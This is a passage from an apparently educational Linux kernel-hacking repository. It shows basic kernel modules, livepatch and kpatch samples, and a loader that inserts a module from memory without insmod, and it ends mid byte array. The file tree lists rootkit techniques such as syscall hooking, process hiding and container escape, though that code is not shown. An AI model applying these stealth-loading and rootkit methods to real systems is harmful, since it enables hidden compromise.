├── .gitignore ├── 0_Basic_LKMs ├── 0.0_Basic │ ├── Makefile │ ├── README.md │ └── example.c └── 0.1_device_file │ ├── Makefile │ ├── README.md │ └── example.c ├── 1_Livepatch ├── 1.0_livepatch_sample │ ├── Makefile │ ├── README.md │ └── livepatch-sample.c └── 1.1_kpatch │ ├── README.md │ └── meminfo-string.patch ├── 2_MemoryLoading ├── 2.0_no_arguments │ ├── Makefile │ ├── README.md │ ├── load.c │ └── stub.c └── 2.1_kpatch │ ├── Makefile │ ├── README.md │ ├── chown.patch │ └── stub.c ├── 3_RootkitTechniques ├── 3.0_hiding_lkm │ ├── Makefile │ ├── README.md │ └── rootkit.c ├── 3.1_syscall_hooking │ ├── Makefile │ ├── README.md │ └── rootkit.c ├── 3.2_kill_signalling │ ├── Makefile │ ├── README.md │ ├── ftrace_helper.h │ └── rootkit.c ├── 3.3_set_root │ ├── Makefile │ ├── README.md │ ├── ftrace_helper.h │ └── rootkit.c ├── 3.4_hiding_directories │ ├── Makefile │ ├── README.md │ ├── ftrace_helper.h │ └── rootkit.c ├── 3.5_hiding_processes │ ├── Makefile │ ├── README.md │ ├── ftrace_helper.h │ └── rootkit.c ├── 3.6_hiding_ports │ ├── Makefile │ ├── README.md │ ├── ftrace_helper.h │ └── rootkit.c ├── 3.7_char_interfering │ ├── Makefile │ ├── README.md │ ├── ftrace_helper.h │ ├── random.png │ └── rootkit.c ├── 3.8_privileged_container_escaping │ ├── Makefile │ ├── README.md │ ├── escape.c │ ├── escape.png │ ├── execute.c │ └── stub.c ├── 3.9_hiding_logged_in_users │ ├── Makefile │ ├── README.md │ ├── enum_utmp.c │ ├── ftrace_helper.h │ ├── hiding_logged_in_users.png │ ├── rootkit.c │ └── utmp.h └── README.md ├── LICENSE └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | Vagrantfile 2 | .vagrant 3 | *.mk 4 | *.cmd 5 | *.symvers 6 | *.ko 7 | *.o 8 | *.order 9 | *.tmp_versions 10 | *.mod.c 11 | *.mod 12 | -------------------------------------------------------------------------------- /0_Basic_LKMs/0.0_Basic/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += example.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | 9 | test: 10 | sudo dmesg -C 11 | sudo insmod example.ko 12 | sudo rmmod example.ko 13 | dmesg 14 | -------------------------------------------------------------------------------- /0_Basic_LKMs/0.0_Basic/README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | ## 0.0: Basic LKM Example 4 | 5 | This is about as simple as it gets. 6 | 7 | To use: 8 | * Build with `make` 9 | * Load with `insmod example.ko` 10 | * Check output in kernel buffer with `dmesg` 11 | * See the module loaded in `lsmod | grep example` 12 | * Unload with `rmmod example.ko` 13 | * Check the second output in the kernel buffer with `dmesg` 14 | 15 | Alternatively: 16 | * Run `make test` and observe the two outputs as the module is loaded/unloaded. 17 | 18 | > NOTE: You'll need `build-essential` and `linux-headers-$(uname -r)` installed. 19 | 20 | > Followed along from [here](https://blog.sourcerer.io/writing-a-simple-linux-kernel-module-d9dc3762c234?gi=2f8d0507c4e8). 21 | -------------------------------------------------------------------------------- /0_Basic_LKMs/0.0_Basic/example.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | MODULE_LICENSE("GPL"); 6 | MODULE_AUTHOR("Example"); 7 | MODULE_DESCRIPTION("Basic"); 8 | MODULE_VERSION("0.01"); 9 | 10 | static int __init example_init(void) 11 | { 12 | printk(KERN_INFO "Hello, World!\n"); 13 | return 0; 14 | } 15 | 16 | static void __exit example_exit(void) 17 | { 18 | printk(KERN_INFO "Goodbye, World!\n"); 19 | } 20 | 21 | module_init(example_init); 22 | module_exit(example_exit); 23 | -------------------------------------------------------------------------------- /0_Basic_LKMs/0.1_device_file/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += example.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | 9 | test: 10 | -sudo rmmod example 11 | sudo dmesg -C 12 | sudo insmod example.ko 13 | dmesg 14 | -------------------------------------------------------------------------------- /0_Basic_LKMs/0.1_device_file/README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | ## 0.1: Character Devices 4 | 5 | Simple character device file. 6 | 7 | To use: 8 | * Build with `make` and load with `make test` 9 | * Create a device file with `mknod /dev/example c 0`, replacing `` with major number returned in the kernel buffer. 10 | * Take a look at the device with `cat /dev/example` 11 | * Delete the device file with `rm /dev/example` and unload the module with `rmmod example` 12 | 13 | > Followed along from [here](https://blog.sourcerer.io/writing-a-simple-linux-kernel-module-d9dc3762c234?gi=2f8d0507c4e8). 14 | -------------------------------------------------------------------------------- /0_Basic_LKMs/0.1_device_file/example.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | MODULE_LICENSE("GPL"); 10 | MODULE_AUTHOR("Example"); 11 | MODULE_DESCRIPTION("Device File Example"); 12 | MODULE_VERSION("0.01"); 13 | 14 | #define DEVICE_NAME "example" 15 | #define EXAMPLE_MSG "Hello, World!\n" 16 | #define MSG_BUFFER_LEN 15 17 | 18 | /* Required prototypes */ 19 | static int device_open(struct inode *, struct file *); 20 | static int device_release(struct inode *, struct file *); 21 | static ssize_t device_read(struct file *, char *, size_t, loff_t *); 22 | static ssize_t device_write(struct file *, const char *, size_t, loff_t *); 23 | 24 | static int major_num; 25 | static int device_open_count = 0; 26 | static char msg_buffer[MSG_BUFFER_LEN]; 27 | static char *msg_ptr; 28 | 29 | /* Structure of all device functions */ 30 | static struct file_operations file_ops = { 31 | .read = device_read, 32 | .write = device_write, 33 | .open = device_open, 34 | .release = device_release, 35 | }; 36 | 37 | /* This function gets called whenever something reads from the device */ 38 | static ssize_t device_read(struct file *flip, char *buffer, size_t len, loff_t *offst) 39 | { 40 | int bytes_read = 0; 41 | 42 | /* Loop indefinitely */ 43 | if (*msg_ptr == 0) 44 | msg_ptr = msg_buffer; 45 | 46 | /* Load the buffer */ 47 | while (len && *msg_ptr) 48 | { 49 | /* The buffer is in userspace, not kernel space, so 50 | * we can't just use a normal dereference. The function 51 | * put_user() handles moving data from the kernel, into 52 | * userspace. */ 53 | put_user(*(msg_ptr++), buffer++); 54 | len--; 55 | bytes_read++; 56 | } 57 | 58 | return bytes_read; 59 | } 60 | 61 | /* Ths function gets called whenever something tries to write to the device */ 62 | static ssize_t device_write(struct file *flip, const char *buffer, size_t len, loff_t *offset) 63 | { 64 | /* Read-only, so just kick them out */ 65 | printk(KERN_ALERT "This operation is not supported.\n"); 66 | return -EINVAL; 67 | } 68 | 69 | /* This function is called whenever something tries to open the device */ 70 | static int device_open(struct inode *inode, struct file *file) 71 | { 72 | /* If it's already open, return busy */ 73 | if (device_open_count) 74 | { 75 | return -EBUSY; 76 | } 77 | device_open_count++; 78 | /* try_module_get() checks to see if the module is being removed, 79 | * and if so, we need to act as if the module doesn't exist (more 80 | * important when we reference other modules from this one). */ 81 | try_module_get(THIS_MODULE); 82 | return 0; 83 | } 84 | 85 | /* This function is called whenever something tries to close the device */ 86 | static int device_release(struct inode *inode, struct file *file) 87 | { 88 | /* Decrement the open counter and usage count, otherwise the module 89 | * won't unload */ 90 | device_open_count--; 91 | /* Alert the kernel that we are done using this module (for now). 92 | * This will cause try_module_get() to return true, so that the 93 | * module can be unloaded safely. */ 94 | module_put(THIS_MODULE); 95 | return 0; 96 | } 97 | 98 | static int __init example_init(void) 99 | { 100 | /* Fill buffer */ 101 | strncpy(msg_buffer, EXAMPLE_MSG, MSG_BUFFER_LEN); 102 | /* Set msg_ptr to start of buffer */ 103 | msg_ptr = msg_buffer; 104 | /* Register character device */ 105 | major_num = register_chrdev(0, "example", &file_ops); 106 | if (major_num < 0) 107 | { 108 | printk(KERN_ALERT "Could not register device: %d\n", major_num); 109 | return major_num; 110 | } 111 | else 112 | { 113 | printk(KERN_INFO "example module loaded with device major number %d\n", major_num); 114 | return 0; 115 | } 116 | } 117 | 118 | static void __exit example_exit(void) 119 | { 120 | /* Clean up */ 121 | unregister_chrdev(major_num, DEVICE_NAME); 122 | printk(KERN_INFO "Goodbye, World!\n"); 123 | } 124 | 125 | module_init(example_init); 126 | module_exit(example_exit); 127 | -------------------------------------------------------------------------------- /1_Livepatch/1.0_livepatch_sample/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := livepatch-sample.o 2 | KDIR := /lib/modules/$(shell uname -r)/build 3 | PWD := $(shell pwd) 4 | 5 | default: 6 | $(MAKE) -C $(KDIR) M=$(PWD) modules 7 | 8 | clean: 9 | $(MAKE) -C $(KDIR) M=$(PWD) clean 10 | -------------------------------------------------------------------------------- /1_Livepatch/1.0_livepatch_sample/README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | ## 1.0: Livepatch 4 | 5 | Patching kernel functions in memory on a live machine. Taken from [samples/livepatch](https://github.com/torvalds/linux/tree/master/samples/livepatch). 6 | 7 | This livepatch kernel module creates a replacement for `cmdline_proc_show()` from [`fs/proc/cmdline.c`](https://github.com/torvalds/linux/blob/master/fs/proc/cmdline.c) to simply print a message out instead of the usual cmdline. 8 | 9 | To use: 10 | * Check the output of `cat /proc/cmdline` 11 | * Build with `make`, and load into the kernel with `insmod livepatch-sample.ko` 12 | * Check the output again of `cat /proc/cmdline` 13 | * Disable the livepatch with `echo 0 | sudo tee /sys/kernel/livepatch/livepatch-sample/enabled` 14 | * Unload from the kernel with `rmmod livepatch-sample.ko` 15 | 16 | > Tested on Ubuntu 20.04 running under Vagrant. 17 | -------------------------------------------------------------------------------- /1_Livepatch/1.0_livepatch_sample/livepatch-sample.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0-or-later 2 | /* 3 | * livepatch-sample.c - Kernel Live Patching Sample Module 4 | * 5 | * Copyright (C) 2014 Seth Jennings 6 | */ 7 | 8 | #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | /* 15 | * This (dumb) live patch overrides the function that prints the 16 | * kernel boot cmdline when /proc/cmdline is read. 17 | * 18 | * Example: 19 | * 20 | * $ cat /proc/cmdline 21 | * 22 | * 23 | * $ insmod livepatch-sample.ko 24 | * $ cat /proc/cmdline 25 | * this has been live patched 26 | * 27 | * $ echo 0 > /sys/kernel/livepatch/livepatch_sample/enabled 28 | * $ cat /proc/cmdline 29 | * 30 | */ 31 | 32 | #include 33 | 34 | /* This is the replacement function that we are going to override with */ 35 | static int livepatch_cmdline_proc_show(struct seq_file *m, void *v) 36 | { 37 | seq_printf(m, "%s\n", "this has been live patched"); 38 | return 0; 39 | } 40 | 41 | /* We have to provide the livepatch API with the following struct 42 | * that indicates which kernel function we are overwriting and with what */ 43 | static struct klp_func funcs[] = { 44 | { 45 | .old_name = "cmdline_proc_show", 46 | .new_func = livepatch_cmdline_proc_show, 47 | }, { } 48 | }; 49 | 50 | /* The struct above gets passed as a field in the following klp_object 51 | * (kernel live patch)_object. */ 52 | static struct klp_object objs[] = { 53 | { 54 | /* name being NULL means vmlinux */ 55 | .funcs = funcs, 56 | }, { } 57 | }; 58 | 59 | /* Again, the struct above gets passed a field to the following klp_patch 60 | * object. The address of this object in memory will be passed to the 61 | * klp_enable_patch() function */ 62 | static struct klp_patch patch = { 63 | .mod = THIS_MODULE, 64 | .objs = objs, 65 | }; 66 | 67 | /* Initialize our patch */ 68 | static int livepatch_init(void) 69 | { 70 | return klp_enable_patch(&patch); 71 | } 72 | 73 | static void livepatch_exit(void) 74 | { 75 | } 76 | 77 | module_init(livepatch_init); 78 | module_exit(livepatch_exit); 79 | MODULE_LICENSE("GPL"); 80 | /* We have to tell the kernel that this LKM is a livepatch module */ 81 | MODULE_INFO(livepatch, "Y"); 82 | -------------------------------------------------------------------------------- /1_Livepatch/1.1_kpatch/README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | ## 1.1: Kpatch Example 4 | 5 | In order to patch existing kernel functions, you have to be able to resolve relocatable symbols in the currently running kernel. Doing this manually would be very difficult and time-consuming, so [kpatch](https://github.com/dynup/kpatch) was created. 6 | 7 | Kpatch works by first building the kernel tree normally, then rebuilding it with a patch provided as a source diff. Next, it takes the object files that changed, and rebuilds them again (both with and without the patch) with the GCC options `-ffunction-sections` and `-fdata-sections`. These two options cause all functions and data items to get their own sections, so that they can be found more easily without having to know precise offsets. Now the ELF relocation table can be built for the patched object file, and the kernel module is generated. 8 | 9 | Setting up kpatch: 10 | * `apt install dpkg-dev devscripts elfutils ccache` 11 | * `apt build-dep linux` 12 | * `git clone git@github.com:dynup/kpatch.git` 13 | * `cd kpatch; make install` 14 | * Download the debug kernel image from [http://ddebs.ubuntu.com/ubuntu/pool/main/l/linux/](http://ddebs.ubuntu.com/ubuntu/pool/main/l/linux/). The file you need is called `linux-image-unsigned--generic-dbgsym__amd64.ddeb` 15 | * Install with `dpkg -i ` 16 | 17 | To use: 18 | * Check the output of `grep -i vmallocchunk /proc/meminfo` 19 | * Build with `kpatch-build -t vmlinux --vmlinux /lib/debug/boot/vmlinux-$(uname -r) meminfo-string.patch` 20 | * Load the kernel module with `insmod livepatch-meminfo-string.ko` 21 | * Check the output of `grep -i vmallocchunk /proc/meminfo` again - notice that it's now in all-caps 22 | * Disable the livepatch with `echo 0 | sudo tee /sys/kernel/livepatch/livepatch-meminfo-string/enabled` 23 | * Unload from the kernel with `rmmod livepatch-meminfo-string.ko` 24 | 25 | > Tested on Ubuntu 20.04 running under Vagrant. 26 | > Helful Source: [https://ruffell.nz/programming/writeups/2020/04/20/everything-you-wanted-to-know-about-kernel-livepatch-in-ubuntu.html](https://ruffell.nz/programming/writeups/2020/04/20/everything-you-wanted-to-know-about-kernel-livepatch-in-ubuntu.html). 27 | -------------------------------------------------------------------------------- /1_Livepatch/1.1_kpatch/meminfo-string.patch: -------------------------------------------------------------------------------- 1 | diff --git a/fs/proc/meminfo.c b/fs/proc/meminfo.c 2 | index 8c1f1bb1a5ce..3053c1bce50d 100644 3 | --- a/fs/proc/meminfo.c 4 | +++ b/fs/proc/meminfo.c 5 | @@ -117,7 +117,7 @@ static int meminfo_proc_show(struct seq_file *m, void *v) 6 | seq_printf(m, "VmallocTotal: %8lu kB\n", 7 | (unsigned long)VMALLOC_TOTAL >> 10); 8 | show_val_kb(m, "VmallocUsed: ", vmalloc_nr_pages()); 9 | - show_val_kb(m, "VmallocChunk: ", 0ul); 10 | + show_val_kb(m, "VMALLOCCHUNK: ", 0ul); 11 | show_val_kb(m, "Percpu: ", pcpu_nr_pages()); 12 | 13 | #ifdef CONFIG_MEMORY_FAILURE 14 | -------------------------------------------------------------------------------- /2_MemoryLoading/2.0_no_arguments/Makefile: -------------------------------------------------------------------------------- 1 | kmod_name = example 2 | 3 | all: 4 | echo "#include " > tmp.c 5 | echo "#include " >> tmp.c 6 | echo "#include " >> tmp.c 7 | echo "" >> tmp.c 8 | xxd -i $(kmod_name).ko >> tmp.c 9 | echo "const char args[] = \"\\\0\";" >> tmp.c 10 | echo "" >> tmp.c 11 | cat stub.c >> tmp.c 12 | cat tmp.c | sed 's/example_ko/$(kmod_name)_ko/g' > load.c 13 | rm tmp.c 14 | gcc -o load load.c 15 | -------------------------------------------------------------------------------- /2_MemoryLoading/2.0_no_arguments/README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | ## 2.0: Loading a Kernel Module from Memory (No Arguments) 4 | 5 | Load the [`example.ko`](../../0_Basic_LKMs/0.0_Basic/) kernel module from memory - *without using `insmod`*. 6 | 7 | To use: 8 | * Build with `make` 9 | * Execute as root with `sudo ./load` 10 | * Check output in kernel buffer with `dmesg` 11 | * See the module loaded in `lsmod | grep example` 12 | * Unload with `rmmod example` 13 | * Check the second output in the kernel buffer with `dmesg` 14 | 15 | > NOTE: This assumes that `example.ko` is in the current directory. If your LKM is named something else, change the first line in the [`Makefile`](./Makefile). 16 | -------------------------------------------------------------------------------- /2_MemoryLoading/2.0_no_arguments/load.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | unsigned char example_ko[] = { 6 | 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 7 | 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 8 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 9 | 0x00, 0x00, 0x00, 0x00, 0x38, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 10 | 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 11 | 0x15, 0x00, 0x14, 0x00, 0x04, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 12 | 0x03, 0x00, 0x00, 0x00, 0x47, 0x4e, 0x55, 0x00, 0x74, 0xea, 0x09, 0x95, 13 | 0xbf, 0xa1, 0xe1, 0x70, 0x49, 0x05, 0xc3, 0x0f, 0x04, 0xad, 0xf8, 0x32, 14 | 0x24, 0x23, 0x3f, 0xe2, 0x06, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 15 | 0x00, 0x01, 0x00, 0x00, 0x4c, 0x69, 0x6e, 0x75, 0x78, 0x00, 0x00, 0x00, 16 | 0x00, 0x00, 0x00, 0x00, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x55, 0x48, 0xc7, 17 | 0xc7, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xe5, 0xe8, 0x00, 0x00, 0x00, 18 | 0x00, 0x31, 0xc0, 0x5d, 0xc3, 0x55, 0x48, 0xc7, 0xc7, 0x00, 0x00, 0x00, 19 | 0x00, 0x48, 0x89, 0xe5, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x5d, 0xc3, 0x01, 20 | 0x36, 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x2c, 0x20, 0x57, 0x6f, 0x72, 0x6c, 21 | 0x64, 0x21, 0x0a, 0x00, 0x01, 0x36, 0x47, 0x6f, 0x6f, 0x64, 0x62, 0x79, 22 | 0x65, 0x2c, 0x20, 0x57, 0x6f, 0x72, 0x6c, 0x64, 0x21, 0x0a, 0x00, 0x00, 23 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0x65, 0x72, 0x73, 0x69, 24 | 0x6f, 0x6e, 0x3d, 0x30, 0x2e, 0x30, 0x31, 0x00, 0x64, 0x65, 0x73, 0x63, 25 | 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x3d, 0x42, 0x61, 0x73, 0x69, 26 | 0x63, 0x00, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x3d, 0x45, 0x78, 0x61, 27 | 0x6d, 0x70, 0x6c, 0x65, 0x00, 0x6c, 0x69, 0x63, 0x65, 0x6e, 0x73, 0x65, 28 | 0x3d, 0x47, 0x50, 0x4c, 0x00, 0x73, 0x72, 0x63, 0x76, 0x65, 0x72, 0x73, 29 | 0x69, 0x6f, 0x6e, 0x3d, 0x38, 0x35, 0x33, 0x46, 0x42, 0x36, 0x34, 0x41, 30 | 0x31, 0x43, 0x30, 0x42, 0x36, 0x45, 0x44, 0x38, 0x30, 0x42, 0x44, 0x41, 31 | 0x39, 0x42, 0x42, 0x00, 0x64, 0x65, 0x70, 0x65, 0x6e, 0x64, 0x73, 0x3d, 32 | 0x00, 0x72, 0x65, 0x74, 0x70, 0x6f, 0x6c, 0x69, 0x6e, 0x65, 0x3d, 0x59, 33 | 0x00, 0x6e, 0x61, 0x6d, 0x65, 0x3d, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 34 | 0x65, 0x00, 0x76, 0x65, 0x72, 0x6d, 0x61, 0x67, 0x69, 0x63, 0x3d, 0x35, 35 | 0x2e, 0x34, 0x2e, 0x30, 0x2d, 0x33, 0x33, 0x2d, 0x67, 0x65, 0x6e, 0x65, 36 | 0x72, 0x69, 0x63, 0x20, 0x53, 0x4d, 0x50, 0x20, 0x6d, 0x6f, 0x64, 0x5f, 37 | 0x75, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 38 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 39 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 40 | 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 41 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 42 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 43 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 44 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 45 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 46 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 47 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 48 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 49 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 50 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 51 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 52 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 53 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 54 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 55 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 56 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 57 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 58 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 59 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 60 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 61 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 62 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 63 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 64 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 65 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 66 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 67 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 68 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 69 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 70 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 71 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 72 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 73 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 74 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 75 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 76 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 77 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 78 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 79 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 80 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 81 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 82 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 83 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 84 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 85 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 86 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 87 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 88 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 89 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 90 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 91 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 92 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 93 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 94 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 95 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 96 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 97 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 98 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 99 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 100 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 101 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 102 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 103 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 104 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 105 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 106 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 107 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 108 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 109 | 0x00, 0x00, 0x00, 